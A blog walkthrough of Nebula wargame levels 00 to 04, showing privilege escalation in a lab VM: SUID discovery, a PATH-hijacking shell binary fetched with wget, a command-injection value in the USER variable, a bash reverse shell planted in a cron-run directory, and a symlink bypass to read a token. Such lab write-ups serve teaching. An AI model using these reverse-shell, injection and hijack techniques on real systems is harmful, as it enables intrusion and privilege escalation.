Bursting the nebula | level00-level04

This post is a walk-through for a VM from exploit-exercises called nebula. It includes some interesting privilege escalation challenges. This is the first post in the series of 4 posts that I am planning to write and involves walk-through for level00 to level04.

So let’s begin by booting up the VM. VM will be assigned an IP address dynamically. Mine was 192.168.56.102. I used attacking machine as kali VM box with IP 192.168.56.101. You can directly login into the nebula VM. I used SSH to login to nebula and save me a bit of time and also mimicking it to a remote machine.


level00
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00.

So this looks very simple. I used below find command from “/” directory to search for SUID (-4000) file owned by user flag00 and redirected the errors to /dev/null with descriptor 2, so that i can have a clean output.

level00@nebula:/$ find . -perm -4000 -user flag00 2>/dev/null
./bin/.../flag00
./rofs/bin/.../flag00

Once the file was found, I executed it and the ran the getflag command as instructed to get the flag.

level00@nebula:/$ ./bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:/$ getflag
You have successfully executed getflag on a target account
flag00@nebula:/$

level01
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
	gid_t gid;
	uid_t uid;
	gid = getegid();
	uid = geteuid();

	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);

	system("/usr/bin/env echo and now what?");
}

Let’s have a look at the home folder of flag01. We have a SUID program which when run gives us the below output.

level01@nebula:~$ ls -l /home/flag01/
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
level01@nebula:/tmp$ /home/flag01/flag01
and now what?

From the source code we know that the path to echo is not hardcoded. The program will look for echo binary in the PATH environment variable and if it finds it, it will execute it. So we now create a binary from the below quick and dirty code to spawn us a shell and name it echo. The spawned shell will have a UID/GID of the user who executes it.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  system("/bin/bash");
}

We create the binary from above code using gcc. Now download the binary into /tmp folder in nebula and make it executable using chmod.

root@kali:~# gcc shell.c -o echo
------------------------------------------------------------------
level01@nebula:/tmp$ wget http://192.168.56.101:8000/echo
--2016-10-04 02:52:19--  http://192.168.56.101:8000/echo
Connecting to 192.168.56.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5364 (5.2K) [application/octet-stream]
Saving to: `echo'
100%[======================================>] 5,364       --.-K/s   in 0s     
2016-10-04 02:52:19 (140 MB/s) - `echo' saved [5364/5364]

level01@nebula:/tmp$ ls -l
total 8
-rw-rw-r-- 1 level01 level01 5364 2016-10-04 02:50 echo
level01@nebula:/tmp$ chmod +x echo
level01@nebula:/tmp$ ls -l
total 8
-rwxrwxr-x 1 level01 level01 5364 2016-10-04 02:50 echo

Now the last thing that is left to do is to change the environment variable PATH to include /tmp folder in the beginning so that it finds our echo binary.

level01@nebula:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:/tmp$ export PATH=/tmp:$PATH
level01@nebula:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:/tmp$

Now let’s execute the flag01 binary again and we now have the shell with user flag01 as shown below and we can now easily get the flag.

level01@nebula:/tmp$ /home/flag01/flag01
flag01@nebula:/tmp$ id;getflag
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
You have successfully executed getflag on a target account
flag01@nebula:/tmp$

level02
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  char *buffer;
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  buffer = NULL;
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  system(buffer);
}

Executing the flag02 binary gives us the below output.

level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

As we can see from the source code this similar to the last one but this time the input to the program comes directly from the environment variable USER, it then gets stored in the buffer variable which is then passed to the system function to execute without any saanitization.
As you may have noticed this is classic command injection vulnerability. So we need to edit the USER variable to include our command to get the flag. ‘;’ will terminate the echo command from the program and allow us to execute the id and getflag command.

level02@nebula:~$ echo $USER
level02
level02@nebula:~$ export USER=';id;getflag'
level02@nebula:~$ echo $USER
;id;getflag

Now that the we have set the environment variable let’s execute the flag02 binary, and we have our flag.

level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ;id;getflag is cool")

uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
You have successfully executed getflag on a target account
level02@nebula:~$

level03
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

Let’s have a look at the home directory. We have a bash script and a world writeable folder, both owned by flag03 user. Based on the challenge it’s a good assumption that this bash script will be executed every couple of minutes.

level03@nebula:~$ ls -l /home/flag03/
total 1
drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh

Let’s have look at the bash script. We can see that the bash script will execute all the scripts from the writable.d folder.

level03@nebula:~$ cat /home/flag03/writable.sh
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
                (ulimit -t 5; bash -x "$i")
                rm -f "$i"
done

Since we have the liberty to write our own script which will get executed, simplest thing to do will be to get a reverse shell to connect back to our kali box as shown below.

level03@nebula:/tmp$ cat shell.sh
/bin/bash -i >& /dev/tcp/192.168.56.101/1234 0>&1

Let’s copy the bash shell to the writable.d directory and wait for it’s execution. Meanwhile we will set up a netcat listener for the reverse shell on our kali box.

level03@nebula:/tmp$ cp shell.sh /home/flag03/writable.d/
level03@nebula:/tmp$ ls -l shell.sh /home/flag03/writable.d/
-rw-rw-r-- 1 level03 level03 50 2016-10-04 05:07 shell.sh

As we can see we have a reverse shell in couple of minutes, and now we can execute the getflag command.

root@kali:~# nc -lvp1234
listening on [any] 1234 ...
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 40362
bash: no job control in this shell
flag03@nebula:~$ id
id
uid=996(flag03) gid=996(flag03) groups=996(flag03)
flag03@nebula:~$ getflag
getflag
You have successfully executed getflag on a target account
flag03@nebula:~$

level04
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;
  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }
  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }
  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }
 rc = read(fd, buf, sizeof(buf));
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }
  write(1, buf, rc);
}

This time we need to read a token file, interesting! So the program looks for occurrence of word token in the argument argv[1], and if it exist than we can’t read the file. This initially looked like a race condition vulnerability but it’s even simpler. Let’s see what files we have in the home directory of user flag04.

level04@nebula:~$ ls -l /home/flag04/
total 8
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$

We can create a symlink to the token file as shown below and name it read, which we will than supply as the argument for the program.

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/read
level04@nebula:/home/flag04$ ls -l /tmp/
total 4
-rw-rw-r-- 1 level04 level04  3 2016-10-08 04:46 abcd
lrwxrwxrwx 1 level04 level04 18 2016-10-08 05:24 read -> /home/flag04/token

Now let’s execute the flag04 binary giving it the argument of our symlink which then will resolve to token file read the token file for us.

level04@nebula:/home/flag04$ ./flag04 /tmp/read
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s